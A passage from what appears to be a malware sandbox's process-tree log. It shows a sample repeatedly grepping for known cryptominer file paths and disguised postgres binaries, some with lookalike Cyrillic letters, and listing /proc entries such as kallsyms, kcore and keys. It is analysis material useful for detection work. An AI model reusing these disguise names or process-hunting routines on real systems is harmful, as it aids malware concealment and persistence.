  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1575
- /bin/grep
  grep -q systemd
  2⤵
  PID:1577
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1579
- /bin/grep
  grep exe
  2⤵
  PID:1582
- /bin/ls
  ls -latrh /proc/filesystems
  2⤵
  PID:1581
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1584
- /bin/grep
  grep -q systemd
  2⤵
  PID:1586
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1588
- /bin/grep
  grep exe
  2⤵
  PID:1591
- /bin/ls
  ls -latrh /proc/fs
  2⤵
  PID:1590
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1593
- /bin/grep
  grep -q systemd
  2⤵
  PID:1595
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1597
- /bin/grep
  grep exe
  2⤵
  PID:1600
- /bin/ls
  ls -latrh /proc/interrupts
  2⤵
  PID:1599
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1602
- /bin/grep
  grep -q systemd
  2⤵
  PID:1604
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1606
- /bin/grep
  grep exe
  2⤵
  PID:1609
- /bin/ls
  ls -latrh /proc/iomem
  2⤵
  PID:1608
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1611
- /bin/grep
  grep -q systemd
  2⤵
  PID:1613
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1615
- /bin/grep
  grep exe
  2⤵
  PID:1618
- /bin/ls
  ls -latrh /proc/ioports
  2⤵
  PID:1617
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1620
- /bin/grep
  grep -q systemd
  2⤵
  PID:1622
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1624
- /bin/grep
  grep exe
  2⤵
  PID:1627
- /bin/ls
  ls -latrh /proc/irq
  2⤵
  PID:1626
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1629
- /bin/grep
  grep -q systemd
  2⤵
  PID:1631
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1633
- /bin/grep
  grep exe
  2⤵
  PID:1636
- /bin/ls
  ls -latrh /proc/kallsyms
  2⤵
  PID:1635
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1638
- /bin/grep
  grep -q systemd
  2⤵
  PID:1640
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1642
- /bin/grep
  grep exe
  2⤵
  PID:1645
- /bin/ls
  ls -latrh /proc/kcore
  2⤵
  PID:1644
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1647
- /bin/grep
  grep -q systemd
  2⤵
  PID:1649
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1651
- /bin/grep
  grep exe
  2⤵
  PID:1654
- /bin/ls
  ls -latrh /proc/keys
  2⤵
  PID:1653
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1656
- /bin/grep
  grep -q systemd
  2⤵
  PID:1658
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1660
- /bin/grep
  grep exe
  2⤵
  PID:1663
- /bin/ls
  ls -latrh /proc/key-users
  2⤵
  PID:1662
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1665
- /bin/grep
  grep -q systemd
  2⤵
  PID:1667
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1669
- /bin/grep
  grep exe
  2⤵
  PID:1672
- /bin/ls
  ls -latrh /proc/kmsg
  2⤵
  PID:1671
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1674
- /bin/grep
  grep -q systemd
  2⤵
  PID:1676
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1678
- /bin/grep
  grep exe
  2⤵
  PID:1681
- /bin/ls
  ls -latrh /proc/kpagecgroup
  2⤵
  PID:1680
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1683
- /bin/grep
  grep -q systemd
  2⤵
  PID:1685
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1687
- /bin/grep
  grep exe
  2⤵
  PID:1690
- /bin/ls
  ls -latrh /proc/kpagecount
  2⤵
  PID:1689
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1692
- /bin/grep
  grep -q systemd
  2⤵
  PID:1694
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1696
- /bin/grep
  grep exe
  2⤵
  PID:1699
- /bin/ls
  ls -latrh /proc/kpageflags
  2⤵
  PID:1698
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1701
- /bin/grep
  grep -q systemd
  2⤵
  PID:1703
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1705
- /bin/grep
  grep exe
  2⤵
  PID:1708
- /bin/ls
  ls -latrh /proc/loadavg
  2⤵
  PID:1707
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1710
- /bin/grep
  grep -q systemd
  2⤵
  PID:1712
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1714
- /bin/grep
  grep exe
  2⤵
  PID:1717
- /bin/ls
  ls -latrh /proc/locks
  2⤵
  PID:1716
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1719
- /bin/grep
  grep -q systemd
  2⤵
  PID:1721
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1723
- /bin/grep
  grep exe
  2⤵
  PID:1726
- /bin/ls
  ls -latrh /proc/meminfo
  2⤵
  PID:1725
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1728
- /bin/grep
  grep -q systemd
  2⤵
  PID:1730
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1732
- /bin/grep
  grep exe
  2⤵
  PID:1735
- /bin/ls
  ls -latrh /proc/misc
  2⤵
  PID:1734
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1737
- /bin/grep
  grep -q systemd
  2⤵
  PID:1739
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1741
- /bin/grep
  grep exe
  2⤵
  PID:1744
- /bin/ls
  ls -latrh /proc/modules
  2⤵
  PID:1743
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1746
- /bin/grep
  grep -q systemd
  2⤵
  PID:1748
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1750
- /bin/grep
  grep exe
  2⤵
  PID:1753
- /bin/ls
  ls -latrh /proc/mounts
  2⤵
  PID:1752
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1755
- /bin/grep
  grep -q systemd
  2⤵
  PID:1757
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1759
- /bin/grep
  grep exe
  2⤵
  PID:1762
- /bin/ls
  ls -latrh /proc/net
  2⤵
  PID:1761
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1764
- /bin/grep
  grep -q systemd
  2⤵
  PID:1766
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1768
- /bin/grep
  grep exe
  2⤵
  PID:1771
- /bin/ls
  ls -latrh /proc/pagetypeinfo
  2⤵
  PID:1770
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1773
- /bin/grep
  grep -q systemd
  2⤵
  PID:1775
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1777
- /bin/grep
  grep exe
  2⤵
  PID:1780
- /bin/ls
  ls -latrh /proc/partitions
  2⤵
  PID:1779
- /bin/grep
